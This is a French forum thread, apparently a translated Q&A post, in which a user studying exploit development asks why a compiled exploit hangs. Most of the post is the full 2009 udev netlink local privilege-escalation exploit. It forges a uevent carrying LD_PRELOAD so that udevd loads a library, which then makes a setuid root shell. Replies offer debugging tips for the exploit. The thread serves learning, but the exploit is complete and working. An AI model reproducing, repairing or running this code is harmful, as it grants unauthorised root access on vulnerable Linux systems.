2017-01-12 2 views
0

J'ai compilé avec succès le code suivant sans problèmes. Mais quand j'essaie de lancer "udev" sur la boîte, ça reste suspendu et ne fait rien. Je n'arrive pas à comprendre pourquoi et j'ai travaillé là-dessus ces derniers jours et je me suis mis à essayer de comprendre pourquoi ça pèse. Quelqu'un peut-il m'aider s'il vous plaît avec ceci. J'étudie le développement d'exploit et je suis complètement coincé là-dessus.Juste bloque lors de l'exécution udev

#!/bin/sh 
# Linux 2.6 
# bug found by Sebastian Krahmer 
# 
# lame sploit using LD technique 
# by kcope in 2009 
# tested on debian-etch,ubuntu,gentoo 
# do a 'cat /proc/net/netlink' 
# and set the first arg to this 
# script to the pid of the netlink socket 
# (the pid is udevd_pid - 1 most of the time) 
# + sploit has to be UNIX formatted text :) 
# + if it doesn't work the 1st time try more often 
# 
# WARNING: maybe needs some FIXUP to work flawlessly 
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang 

cat > udev.c << _EOF 
#include <fcntl.h> 
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <dirent.h> 
#include <sys/stat.h> 
#include <sysexits.h> 
#include <wait.h> 
#include <signal.h> 
#include <sys/socket.h> 
#include <linux/types.h> 
#include <linux/netlink.h> 

#ifndef NETLINK_KOBJECT_UEVENT 
#define NETLINK_KOBJECT_UEVENT 15 
#endif 

#define SHORT_STRING 64 
#define MEDIUM_STRING 128 
#define BIG_STRING 256 
#define LONG_STRING 1024 
#define EXTRALONG_STRING 4096 
#define TRUE 1 
#define FALSE 0 

int socket_fd; 
struct sockaddr_nl address; 
struct msghdr msg; 
struct iovec iovector; 
int sz = 64*1024; 

main(int argc, char **argv) { 
     char sysfspath[SHORT_STRING]; 
     char subsystem[SHORT_STRING]; 
     char event[SHORT_STRING]; 
     char major[SHORT_STRING]; 
     char minor[SHORT_STRING]; 

     sprintf(event, "add"); 
     sprintf(subsystem, "block"); 
     sprintf(sysfspath, "/dev/foo"); 
     sprintf(major, "8"); 
     sprintf(minor, "1"); 

     memset(&address, 0, sizeof(address)); 
     address.nl_family = AF_NETLINK; 
     address.nl_pid = atoi(argv[1]); 
     address.nl_groups = 0; 

     msg.msg_name = (void*)&address; 
     msg.msg_namelen = sizeof(address); 
     msg.msg_iov = &iovector; 
     msg.msg_iovlen = 1; 

     socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); 
     bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); 

     char message[LONG_STRING]; 
     char *mp; 

     mp = message; 
     mp += sprintf(mp, "%[email protected]%s", event, sysfspath) +1; 
     mp += sprintf(mp, "ACTION=%s", event) +1; 
     mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; 
     mp += sprintf(mp, "MAJOR=%s", major) +1; 
     mp += sprintf(mp, "MINOR=%s", minor) +1; 
     mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; 
     mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; 

     iovector.iov_base = (void*)message; 
     iovector.iov_len = (int)(mp-message); 

     char *buf; 
     int buflen; 
     buf = (char *) &msg; 
     buflen = (int)(mp-message); 

     sendmsg(socket_fd, &msg, 0); 

     close(socket_fd); 

    sleep(10); 
    execl("/tmp/suid", "suid", (void*)0); 
} 

_EOF 
gcc --no-warnings udev.c -o /tmp/udev 
cat > program.c << _EOF 
#include <unistd.h> 
#include <stdio.h> 
#include <sys/types.h> 
#include <stdlib.h> 

void _init() 
{ 
setgid(0); 
setuid(0); 
unsetenv("LD_PRELOAD"); 
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); 
} 

_EOF 
gcc --no-warnings -o program.o -c program.c -fPIC 
gcc --no-warnings -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles 
cat > suid.c << _EOF 
int main(void) { 
     setgid(0); setuid(0); 
     execl("/bin/sh","sh",0); } 
_EOF 
gcc --no-warnings -o /tmp/suid suid.c 
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 
/tmp/udev $1 

# milw0rm.com [2009-04-20] 
+0

' buflen' n'est apparemment pas utilisé. Hmmm Tous les champs de 'msg' sont-ils définis? [ref] (https://linux.die.net/man/2/sendmsg) – chux

+0

Merci, j'apprends encore ce genre de choses, mais où ajouteriez-vous cela? –

+0

buflen n'est pas nécessaire car la longueur est spécifiée dans 'iovector.iov_len'. – fluter

Répondre

2

Il y a un évident hang que vous appelez sleep(10) dans votre programme, d'autre part, s'il vous plaît vérifier le code de retour des fonctions de socket, voir si l'un de ces pas:

socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); 
if (socket_fd < 0) { ... } 
ret = bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); 
if (ret < 0) {...} 
ret = sendmsg(socket_fd, &msg, 0); 
if (ret < 0) {// send failed}